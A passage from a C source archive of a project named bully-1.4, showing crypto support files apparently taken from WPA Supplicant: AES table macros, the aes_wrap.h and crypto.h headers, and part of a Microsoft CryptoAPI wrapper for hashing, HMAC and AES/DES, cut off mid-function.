(Td4[((i) >> 16) & 0xff] & 0x00ff0000) #define TD43(i) (Td4[((i) >> 8) & 0xff] & 0x0000ff00) #define TD44(i) (Td4[(i) & 0xff] & 0x000000ff) #define TD0_(i) Td0[(i) & 0xff] #define TD1_(i) Td1[(i) & 0xff] #define TD2_(i) Td2[(i) & 0xff] #define TD3_(i) Td3[(i) & 0xff] #else /* AES_SMALL_TABLES */ #define RCON(i) (rcons[(i)] << 24) static inline u32 rotr(u32 val, int bits) { return (val >> bits) | (val << (32 - bits)); } #define TE0(i) Te0[((i) >> 24) & 0xff] #define TE1(i) rotr(Te0[((i) >> 16) & 0xff], 8) #define TE2(i) rotr(Te0[((i) >> 8) & 0xff], 16) #define TE3(i) rotr(Te0[(i) & 0xff], 24) #define TE41(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000) #define TE42(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000) #define TE43(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00) #define TE44(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff) #define TE421(i) ((Te0[((i) >> 16) & 0xff] << 8) & 0xff000000) #define TE432(i) (Te0[((i) >> 8) & 0xff] & 0x00ff0000) #define TE443(i) (Te0[(i) & 0xff] & 0x0000ff00) #define TE414(i) ((Te0[((i) >> 24) & 0xff] >> 8) & 0x000000ff) #define TE4(i) ((Te0[(i)] >> 8) & 0x000000ff) #define TD0(i) Td0[((i) >> 24) & 0xff] #define TD1(i) rotr(Td0[((i) >> 16) & 0xff], 8) #define TD2(i) rotr(Td0[((i) >> 8) & 0xff], 16) #define TD3(i) rotr(Td0[(i) & 0xff], 24) #define TD41(i) (Td4s[((i) >> 24) & 0xff] << 24) #define TD42(i) (Td4s[((i) >> 16) & 0xff] << 16) #define TD43(i) (Td4s[((i) >> 8) & 0xff] << 8) #define TD44(i) (Td4s[(i) & 0xff]) #define TD0_(i) Td0[(i) & 0xff] #define TD1_(i) rotr(Td0[(i) & 0xff], 8) #define TD2_(i) rotr(Td0[(i) & 0xff], 16) #define TD3_(i) rotr(Td0[(i) & 0xff], 24) #endif /* AES_SMALL_TABLES */ #ifdef _MSC_VER #define SWAP(x) (_lrotl(x, 8) & 0x00ff00ff | _lrotr(x, 8) & 0xff00ff00) #define GETU32(p) SWAP(*((u32 *)(p))) #define PUTU32(ct, st) { *((u32 *)(ct)) = SWAP((st)); } #else #define GETU32(pt) (((u32)(pt)[0] << 24) ^ ((u32)(pt)[1] << 16) ^ \ ((u32)(pt)[2] << 8) ^ ((u32)(pt)[3])) #define PUTU32(ct, st) { \ (ct)[0] = (u8)((st) >> 24); (ct)[1] = (u8)((st) >> 16); \ (ct)[2] = (u8)((st) >> 8); (ct)[3] = (u8)(st); } #endif #define AES_PRIV_SIZE (4 * 44) void rijndaelKeySetupEnc(u32 rk[/*44*/], const u8 cipherKey[]); #endif /* AES_I_H */ bully-1.4-00/src/crypto/aes_wrap.h000077500000000000000000000034421361530463600170200ustar00rootroot00000000000000/* * AES-based functions * * - AES Key Wrap Algorithm (128-bit KEK) (RFC3394) * - One-Key CBC MAC (OMAC1) hash with AES-128 * - AES-128 CTR mode encryption * - AES-128 EAX mode encryption/decryption * - AES-128 CBC * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef AES_WRAP_H #define AES_WRAP_H int __must_check aes_wrap(const u8 *kek, int n, const u8 *plain, u8 *cipher); int __must_check aes_unwrap(const u8 *kek, int n, const u8 *cipher, u8 *plain); int __must_check omac1_aes_128_vector(const u8 *key, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); int __must_check omac1_aes_128(const u8 *key, const u8 *data, size_t data_len, u8 *mac); int __must_check aes_128_encrypt_block(const u8 *key, const u8 *in, u8 *out); int __must_check aes_128_ctr_encrypt(const u8 *key, const u8 *nonce, u8 *data, size_t data_len); int __must_check aes_128_eax_encrypt(const u8 *key, const u8 *nonce, size_t nonce_len, const u8 *hdr, size_t hdr_len, u8 *data, size_t data_len, u8 *tag); int __must_check aes_128_eax_decrypt(const u8 *key, const u8 *nonce, size_t nonce_len, const u8 *hdr, size_t hdr_len, u8 *data, size_t data_len, const u8 *tag); int __must_check aes_128_cbc_encrypt(const u8 *key, const u8 *iv, u8 *data, size_t data_len); int __must_check aes_128_cbc_decrypt(const u8 *key, const u8 *iv, u8 *data, size_t data_len); #endif /* AES_WRAP_H */ bully-1.4-00/src/crypto/crypto.h000077500000000000000000000401771361530463600165450ustar00rootroot00000000000000/* * WPA Supplicant / wrapper functions for crypto libraries * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file defines the cryptographic functions that need to be implemented * for wpa_supplicant and hostapd. When TLS is not used, internal * implementation of MD5, SHA1, and AES is used and no external libraries are * required. When TLS is enabled (e.g., by enabling EAP-TLS or EAP-PEAP), the * crypto library used by the TLS implementation is expected to be used for * non-TLS needs, too, in order to save space by not implementing these * functions twice. * * Wrapper code for using each crypto library is in its own file (crypto*.c) * and one of these files is build and linked in to provide the functions * defined here. */ #ifndef CRYPTO_H #define CRYPTO_H /** * md4_vector - MD4 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 on failure */ int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); /** * md5_vector - MD5 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 on failure */ int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); #ifdef CONFIG_FIPS /** * md5_vector_non_fips_allow - MD5 hash for data vector (non-FIPS use allowed) * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 on failure */ int md5_vector_non_fips_allow(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); #else /* CONFIG_FIPS */ #define md5_vector_non_fips_allow md5_vector #endif /* CONFIG_FIPS */ /** * sha1_vector - SHA-1 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 on failure */ int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); /** * fips186_2-prf - NIST FIPS Publication 186-2 change notice 1 PRF * @seed: Seed/key for the PRF * @seed_len: Seed length in bytes * @x: Buffer for PRF output * @xlen: Output length in bytes * Returns: 0 on success, -1 on failure * * This function implements random number generation specified in NIST FIPS * Publication 186-2 for EAP-SIM. This PRF uses a function that is similar to * SHA-1, but has different message padding. */ int __must_check fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen); /** * sha256_vector - SHA256 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 on failure */ int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); /** * des_encrypt - Encrypt one block with DES * @clear: 8 octets (in) * @key: 7 octets (in) (no parity bits included) * @cypher: 8 octets (out) */ void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher); /** * aes_encrypt_init - Initialize AES for encryption * @key: Encryption key * @len: Key length in bytes (usually 16, i.e., 128 bits) * Returns: Pointer to context data or %NULL on failure */ void * aes_encrypt_init(const u8 *key, size_t len); /** * aes_encrypt - Encrypt one AES block * @ctx: Context pointer from aes_encrypt_init() * @plain: Plaintext data to be encrypted (16 bytes) * @crypt: Buffer for the encrypted data (16 bytes) */ void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt); /** * aes_encrypt_deinit - Deinitialize AES encryption * @ctx: Context pointer from aes_encrypt_init() */ void aes_encrypt_deinit(void *ctx); /** * aes_decrypt_init - Initialize AES for decryption * @key: Decryption key * @len: Key length in bytes (usually 16, i.e., 128 bits) * Returns: Pointer to context data or %NULL on failure */ void * aes_decrypt_init(const u8 *key, size_t len); /** * aes_decrypt - Decrypt one AES block * @ctx: Context pointer from aes_encrypt_init() * @crypt: Encrypted data (16 bytes) * @plain: Buffer for the decrypted data (16 bytes) */ void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain); /** * aes_decrypt_deinit - Deinitialize AES decryption * @ctx: Context pointer from aes_encrypt_init() */ void aes_decrypt_deinit(void *ctx); enum crypto_hash_alg { CRYPTO_HASH_ALG_MD5, CRYPTO_HASH_ALG_SHA1, CRYPTO_HASH_ALG_HMAC_MD5, CRYPTO_HASH_ALG_HMAC_SHA1 }; struct crypto_hash; /** * crypto_hash_init - Initialize hash/HMAC function * @alg: Hash algorithm * @key: Key for keyed hash (e.g., HMAC) or %NULL if not needed * @key_len: Length of the key in bytes * Returns: Pointer to hash context to use with other hash functions or %NULL * on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key, size_t key_len); /** * crypto_hash_update - Add data to hash calculation * @ctx: Context pointer from crypto_hash_init() * @data: Data buffer to add * @len: Length of the buffer * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len); /** * crypto_hash_finish - Complete hash calculation * @ctx: Context pointer from crypto_hash_init() * @hash: Buffer for hash value or %NULL if caller is just freeing the hash * context * @len: Pointer to length of the buffer or %NULL if caller is just freeing the * hash context; on return, this is set to the actual length of the hash value * Returns: 0 on success, -1 if buffer is too small (len set to needed length), * or -2 on other failures (including failed crypto_hash_update() operations) * * This function calculates the hash value and frees the context buffer that * was used for hash calculation. * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int crypto_hash_finish(struct crypto_hash *ctx, u8 *hash, size_t *len); enum crypto_cipher_alg { CRYPTO_CIPHER_NULL = 0, CRYPTO_CIPHER_ALG_AES, CRYPTO_CIPHER_ALG_3DES, CRYPTO_CIPHER_ALG_DES, CRYPTO_CIPHER_ALG_RC2, CRYPTO_CIPHER_ALG_RC4 }; struct crypto_cipher; /** * crypto_cipher_init - Initialize block/stream cipher function * @alg: Cipher algorithm * @iv: Initialization vector for block ciphers or %NULL for stream ciphers * @key: Cipher key * @key_len: Length of key in bytes * Returns: Pointer to cipher context to use with other cipher functions or * %NULL on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len); /** * crypto_cipher_encrypt - Cipher encrypt * @ctx: Context pointer from crypto_cipher_init() * @plain: Plaintext to cipher * @crypt: Resulting ciphertext * @len: Length of the plaintext * Returns: 0 on success, -1 on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len); /** * crypto_cipher_decrypt - Cipher decrypt * @ctx: Context pointer from crypto_cipher_init() * @crypt: Ciphertext to decrypt * @plain: Resulting plaintext * @len: Length of the cipher text * Returns: 0 on success, -1 on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len); /** * crypto_cipher_decrypt - Free cipher context * @ctx: Context pointer from crypto_cipher_init() * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ void crypto_cipher_deinit(struct crypto_cipher *ctx); struct crypto_public_key; struct crypto_private_key; /** * crypto_public_key_import - Import an RSA public key * @key: Key buffer (DER encoded RSA public key) * @len: Key buffer length in bytes * Returns: Pointer to the public key or %NULL on failure * * This function can just return %NULL if the crypto library supports X.509 * parsing. In that case, crypto_public_key_from_cert() is used to import the * public key from a certificate. * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len); /** * crypto_private_key_import - Import an RSA private key * @key: Key buffer (DER encoded RSA private key) * @len: Key buffer length in bytes * @passwd: Key encryption password or %NULL if key is not encrypted * Returns: Pointer to the private key or %NULL on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ struct crypto_private_key * crypto_private_key_import(const u8 *key, size_t len, const char *passwd); /** * crypto_public_key_from_cert - Import an RSA public key from a certificate * @buf: DER encoded X.509 certificate * @len: Certificate buffer length in bytes * Returns: Pointer to public key or %NULL on failure * * This function can just return %NULL if the crypto library does not support * X.509 parsing. In that case, internal code will be used to parse the * certificate and public key is imported using crypto_public_key_import(). * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf, size_t len); /** * crypto_public_key_encrypt_pkcs1_v15 - Public key encryption (PKCS #1 v1.5) * @key: Public key * @in: Plaintext buffer * @inlen: Length of plaintext buffer in bytes * @out: Output buffer for encrypted data * @outlen: Length of output buffer in bytes; set to used length on success * Returns: 0 on success, -1 on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_public_key_encrypt_pkcs1_v15( struct crypto_public_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen); /** * crypto_private_key_decrypt_pkcs1_v15 - Private key decryption (PKCS #1 v1.5) * @key: Private key * @in: Encrypted buffer * @inlen: Length of encrypted buffer in bytes * @out: Output buffer for encrypted data * @outlen: Length of output buffer in bytes; set to used length on success * Returns: 0 on success, -1 on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_private_key_decrypt_pkcs1_v15( struct crypto_private_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen); /** * crypto_private_key_sign_pkcs1 - Sign with private key (PKCS #1) * @key: Private key from crypto_private_key_import() * @in: Plaintext buffer * @inlen: Length of plaintext buffer in bytes * @out: Output buffer for encrypted (signed) data * @outlen: Length of output buffer in bytes; set to used length on success * Returns: 0 on success, -1 on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_private_key_sign_pkcs1(struct crypto_private_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen); /** * crypto_public_key_free - Free public key * @key: Public key * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ void crypto_public_key_free(struct crypto_public_key *key); /** * crypto_private_key_free - Free private key * @key: Private key from crypto_private_key_import() * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ void crypto_private_key_free(struct crypto_private_key *key); /** * crypto_public_key_decrypt_pkcs1 - Decrypt PKCS #1 signature * @key: Public key * @crypt: Encrypted signature data (using the private key) * @crypt_len: Encrypted signature data length * @plain: Buffer for plaintext (at least crypt_len bytes) * @plain_len: Plaintext length (max buffer size on input, real len on output); * Returns: 0 on success, -1 on failure */ int __must_check crypto_public_key_decrypt_pkcs1( struct crypto_public_key *key, const u8 *crypt, size_t crypt_len, u8 *plain, size_t *plain_len); /** * crypto_global_init - Initialize crypto wrapper * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_global_init(void); /** * crypto_global_deinit - Deinitialize crypto wrapper * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ void crypto_global_deinit(void); /** * crypto_mod_exp - Modular exponentiation of large integers * @base: Base integer (big endian byte array) * @base_len: Length of base integer in bytes * @power: Power integer (big endian byte array) * @power_len: Length of power integer in bytes * @modulus: Modulus integer (big endian byte array) * @modulus_len: Length of modulus integer in bytes * @result: Buffer for the result * @result_len: Result length (max buffer size on input, real len on output) * Returns: 0 on success, -1 on failure * * This function calculates result = base ^ power mod modulus. modules_len is * used as the maximum size of modulus buffer. It is set to the used size on * success. * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len); /** * rc4_skip - XOR RC4 stream to given data with skip-stream-start * @key: RC4 key * @keylen: RC4 key length * @skip: number of bytes to skip from the beginning of the RC4 stream * @data: data to be XOR'ed with RC4 stream * @data_len: buf length * Returns: 0 on success, -1 on failure * * Generate RC4 pseudo random stream for the given key, skip beginning of the * stream, and XOR the end result with the data buffer to perform RC4 * encryption/decryption. */ int rc4_skip(const u8 *key, size_t keylen, size_t skip, u8 *data, size_t data_len); #endif /* CRYPTO_H */ bully-1.4-00/src/crypto/crypto_cryptoapi.c000077500000000000000000000402611361530463600206240ustar00rootroot00000000000000/* * Crypto wrapper for Microsoft CryptoAPI * Copyright (c) 2005-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include #include "common.h" #include "crypto.h" #ifndef MS_ENH_RSA_AES_PROV #ifdef UNICODE #define MS_ENH_RSA_AES_PROV \ L"Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)" #else #define MS_ENH_RSA_AES_PROV \ "Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)" #endif #endif /* MS_ENH_RSA_AES_PROV */ #ifndef CALG_HMAC #define CALG_HMAC (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HMAC) #endif #ifdef __MINGW32_VERSION /* * MinGW does not yet include all the needed definitions for CryptoAPI, so * define here whatever extra is needed. */ static BOOL WINAPI (*CryptImportPublicKeyInfo)(HCRYPTPROV hCryptProv, DWORD dwCertEncodingType, PCERT_PUBLIC_KEY_INFO pInfo, HCRYPTKEY *phKey) = NULL; /* to be loaded from crypt32.dll */ static int mingw_load_crypto_func(void) { HINSTANCE dll; /* MinGW does not yet have full CryptoAPI support, so load the needed * function here. */ if (CryptImportPublicKeyInfo) return 0; dll = LoadLibrary("crypt32"); if (dll == NULL) { wpa_printf(MSG_DEBUG, "CryptoAPI: Could not load crypt32 " "library"); return -1; } CryptImportPublicKeyInfo = GetProcAddress( dll, "CryptImportPublicKeyInfo"); if (CryptImportPublicKeyInfo == NULL) { wpa_printf(MSG_DEBUG, "CryptoAPI: Could not get " "CryptImportPublicKeyInfo() address from " "crypt32 library"); return -1; } return 0; } #else /* __MINGW32_VERSION */ static int mingw_load_crypto_func(void) { return 0; } #endif /* __MINGW32_VERSION */ static void cryptoapi_report_error(const char *msg) { char *s, *pos; DWORD err = GetLastError(); if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, err, 0, (LPTSTR) &s, 0, NULL) == 0) { wpa_printf(MSG_DEBUG, "CryptoAPI: %s: %d", msg, (int) err); } pos = s; while (*pos) { if (*pos == '\n' || *pos == '\r') { *pos = '\0'; break; } pos++; } wpa_printf(MSG_DEBUG, "CryptoAPI: %s: %d: (%s)", msg, (int) err, s); LocalFree(s); } int cryptoapi_hash_vector(ALG_ID alg, size_t hash_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { HCRYPTPROV prov; HCRYPTHASH hash; size_t i; DWORD hlen; int ret = 0; if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, 0)) { cryptoapi_report_error("CryptAcquireContext"); return -1; } if (!CryptCreateHash(prov, alg, 0, 0, &hash)) { cryptoapi_report_error("CryptCreateHash"); CryptReleaseContext(prov, 0); return -1; } for (i = 0; i < num_elem; i++) { if (!CryptHashData(hash, (BYTE *) addr[i], len[i], 0)) { cryptoapi_report_error("CryptHashData"); CryptDestroyHash(hash); CryptReleaseContext(prov, 0); } } hlen = hash_len; if (!CryptGetHashParam(hash, HP_HASHVAL, mac, &hlen, 0)) { cryptoapi_report_error("CryptGetHashParam"); ret = -1; } CryptDestroyHash(hash); CryptReleaseContext(prov, 0); return ret; } int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return cryptoapi_hash_vector(CALG_MD4, 16, num_elem, addr, len, mac); } void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { u8 next, tmp; int i; HCRYPTPROV prov; HCRYPTKEY ckey; DWORD dlen; struct { BLOBHEADER hdr; DWORD len; BYTE key[8]; } key_blob; DWORD mode = CRYPT_MODE_ECB; key_blob.hdr.bType = PLAINTEXTKEYBLOB; key_blob.hdr.bVersion = CUR_BLOB_VERSION; key_blob.hdr.reserved = 0; key_blob.hdr.aiKeyAlg = CALG_DES; key_blob.len = 8; /* Add parity bits to the key */ next = 0; for (i = 0; i < 7; i++) { tmp = key[i]; key_blob.key[i] = (tmp >> i) | next | 1; next = tmp << (7 - i); } key_blob.key[i] = next | 1; if (!CryptAcquireContext(&prov, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptAcquireContext failed: " "%d", (int) GetLastError()); return; } if (!CryptImportKey(prov, (BYTE *) &key_blob, sizeof(key_blob), 0, 0, &ckey)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptImportKey failed: %d", (int) GetLastError()); CryptReleaseContext(prov, 0); return; } if (!CryptSetKeyParam(ckey, KP_MODE, (BYTE *) &mode, 0)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptSetKeyParam(KP_MODE) " "failed: %d", (int) GetLastError()); CryptDestroyKey(ckey); CryptReleaseContext(prov, 0); return; } os_memcpy(cypher, clear, 8); dlen = 8; if (!CryptEncrypt(ckey, 0, FALSE, 0, cypher, &dlen, 8)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptEncrypt failed: %d", (int) GetLastError()); os_memset(cypher, 0, 8); } CryptDestroyKey(ckey); CryptReleaseContext(prov, 0); } int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return cryptoapi_hash_vector(CALG_MD5, 16, num_elem, addr, len, mac); } int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return cryptoapi_hash_vector(CALG_SHA, 20, num_elem, addr, len, mac); } struct aes_context { HCRYPTPROV prov; HCRYPTKEY ckey; }; void * aes_encrypt_init(const u8 *key, size_t len) { struct aes_context *akey; struct { BLOBHEADER hdr; DWORD len; BYTE key[16]; } key_blob; DWORD mode = CRYPT_MODE_ECB; if (len != 16) return NULL; key_blob.hdr.bType = PLAINTEXTKEYBLOB; key_blob.hdr.bVersion = CUR_BLOB_VERSION; key_blob.hdr.reserved = 0; key_blob.hdr.aiKeyAlg = CALG_AES_128; key_blob.len = len; os_memcpy(key_blob.key, key, len); akey = os_zalloc(sizeof(*akey)); if (akey == NULL) return NULL; if (!CryptAcquireContext(&akey->prov, NULL, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptAcquireContext failed: " "%d", (int) GetLastError()); os_free(akey); return NULL; } if (!CryptImportKey(akey->prov, (BYTE *) &key_blob, sizeof(key_blob), 0, 0, &akey->ckey)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptImportKey failed: %d", (int) GetLastError()); CryptReleaseContext(akey->prov, 0); os_free(akey); return NULL; } if (!CryptSetKeyParam(akey->ckey, KP_MODE, (BYTE *) &mode, 0)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptSetKeyParam(KP_MODE) " "failed: %d", (int) GetLastError()); CryptDestroyKey(akey->ckey); CryptReleaseContext(akey->prov, 0); os_free(akey); return NULL; } return akey; } void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) { struct aes_context *akey = ctx; DWORD dlen; os_memcpy(crypt, plain, 16); dlen = 16; if (!CryptEncrypt(akey->ckey, 0, FALSE, 0, crypt, &dlen, 16)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptEncrypt failed: %d", (int) GetLastError()); os_memset(crypt, 0, 16); } } void aes_encrypt_deinit(void *ctx) { struct aes_context *akey = ctx; if (akey) { CryptDestroyKey(akey->ckey); CryptReleaseContext(akey->prov, 0); os_free(akey); } } void * aes_decrypt_init(const u8 *key, size_t len) { return aes_encrypt_init(key, len); } void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) { struct aes_context *akey = ctx; DWORD dlen; os_memcpy(plain, crypt, 16); dlen = 16; if (!CryptDecrypt(akey->ckey, 0, FALSE, 0, plain, &dlen)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptDecrypt failed: %d", (int) GetLastError()); } } void aes_decrypt_deinit(void *ctx) { aes_encrypt_deinit(ctx); } struct crypto_hash { enum crypto_hash_alg alg; int error; HCRYPTPROV prov; HCRYPTHASH hash; HCRYPTKEY key; }; struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key, size_t key_len) { struct crypto_hash *ctx; ALG_ID calg; struct { BLOBHEADER hdr; DWORD len; BYTE key[32]; } key_blob; os_memset(&key_blob, 0, sizeof(key_blob)); switch (alg) { case CRYPTO_HASH_ALG_MD5: calg = CALG_MD5; break; case CRYPTO_HASH_ALG_SHA1: calg = CALG_SHA; break; case CRYPTO_HASH_ALG_HMAC_MD5: case CRYPTO_HASH_ALG_HMAC_SHA1: calg = CALG_HMAC; key_blob.hdr.bType = PLAINTEXTKEYBLOB; key_blob.hdr.bVersion = CUR_BLOB_VERSION; key_blob.hdr.reserved = 0; /* * Note: RC2 is not really used, but that can be used to * import HMAC keys of up to 16 byte long. * CRYPT_IPSEC_HMAC_KEY flag for CryptImportKey() is needed to * be able to import longer keys (HMAC-SHA1 uses 20-byte key). */ key_blob.hdr.aiKeyAlg = CALG_RC2; key_blob.len = key_len; if (key_len > sizeof(key_blob.key)) return NULL; os_memcpy(key_blob.key, key, key_len); break; default: return NULL; } ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; ctx->alg = alg; if (!CryptAcquireContext(&ctx->prov, NULL, NULL, PROV_RSA_FULL, 0)) { cryptoapi_report_error("CryptAcquireContext"); os_free(ctx); return NULL; } if (calg == CALG_HMAC) { #ifndef CRYPT_IPSEC_HMAC_KEY #define CRYPT_IPSEC_HMAC_KEY 0x00000100 #endif if (!CryptImportKey(ctx->prov, (BYTE *) &key_blob, sizeof(key_blob), 0, CRYPT_IPSEC_HMAC_KEY, &ctx->key)) { cryptoapi_report_error("CryptImportKey"); CryptReleaseContext(ctx->prov, 0); os_free(ctx); return NULL; } } if (!CryptCreateHash(ctx->prov, calg, ctx->key, 0, &ctx->hash)) { cryptoapi_report_error("CryptCreateHash"); CryptReleaseContext(ctx->prov, 0); os_free(ctx); return NULL; } if (calg == CALG_HMAC) { HMAC_INFO info; os_memset(&info, 0, sizeof(info)); switch (alg) { case CRYPTO_HASH_ALG_HMAC_MD5: info.HashAlgid = CALG_MD5; break; case CRYPTO_HASH_ALG_HMAC_SHA1: info.HashAlgid = CALG_SHA; break; default: /* unreachable */ break; } if (!CryptSetHashParam(ctx->hash, HP_HMAC_INFO, (BYTE *) &info, 0)) { cryptoapi_report_error("CryptSetHashParam"); CryptDestroyHash(ctx->hash); CryptReleaseContext(ctx->prov, 0); os_free(ctx); return NULL; } } return ctx; } void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len) { if (ctx == NULL || ctx->error) return; if (!CryptHashData(ctx->hash, (BYTE *) data, len, 0)) { cryptoapi_report_error("CryptHashData"); ctx->error = 1; } } int crypto_hash_finish(struct crypto_hash *ctx, u8 *mac, size_t *len) { int ret = 0; DWORD hlen; if (ctx == NULL) return -2; if (mac == NULL || len == NULL) goto done; if (ctx->error) { ret = -2; goto done; } hlen = *len; if (!CryptGetHashParam(ctx->hash, HP_HASHVAL, mac, &hlen, 0)) { cryptoapi_report_error("CryptGetHashParam"); ret = -2; } *len = hlen; done: if (ctx->alg == CRYPTO_HASH_ALG_HMAC_SHA1 || ctx->alg == CRYPTO_HASH_ALG_HMAC_MD5) CryptDestroyKey(ctx->key); os_free(ctx); return ret; } struct crypto_cipher { HCRYPTPROV prov; HCRYPTKEY key; }; struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len) { struct crypto_cipher *ctx; struct { BLOBHEADER hdr; DWORD len; BYTE key[32]; } key_blob; DWORD mode = CRYPT_MODE_CBC; key_blob.hdr.bType = PLAINTEXTKEYBLOB; key_blob.hdr.bVersion = CUR_BLOB_VERSION; key_blob.hdr.reserved = 0; key_blob.len = key_len; if (key_len > sizeof(key_blob.key)) return NULL; os_memcpy(key_blob.key, key, key_len); switch (alg) { case 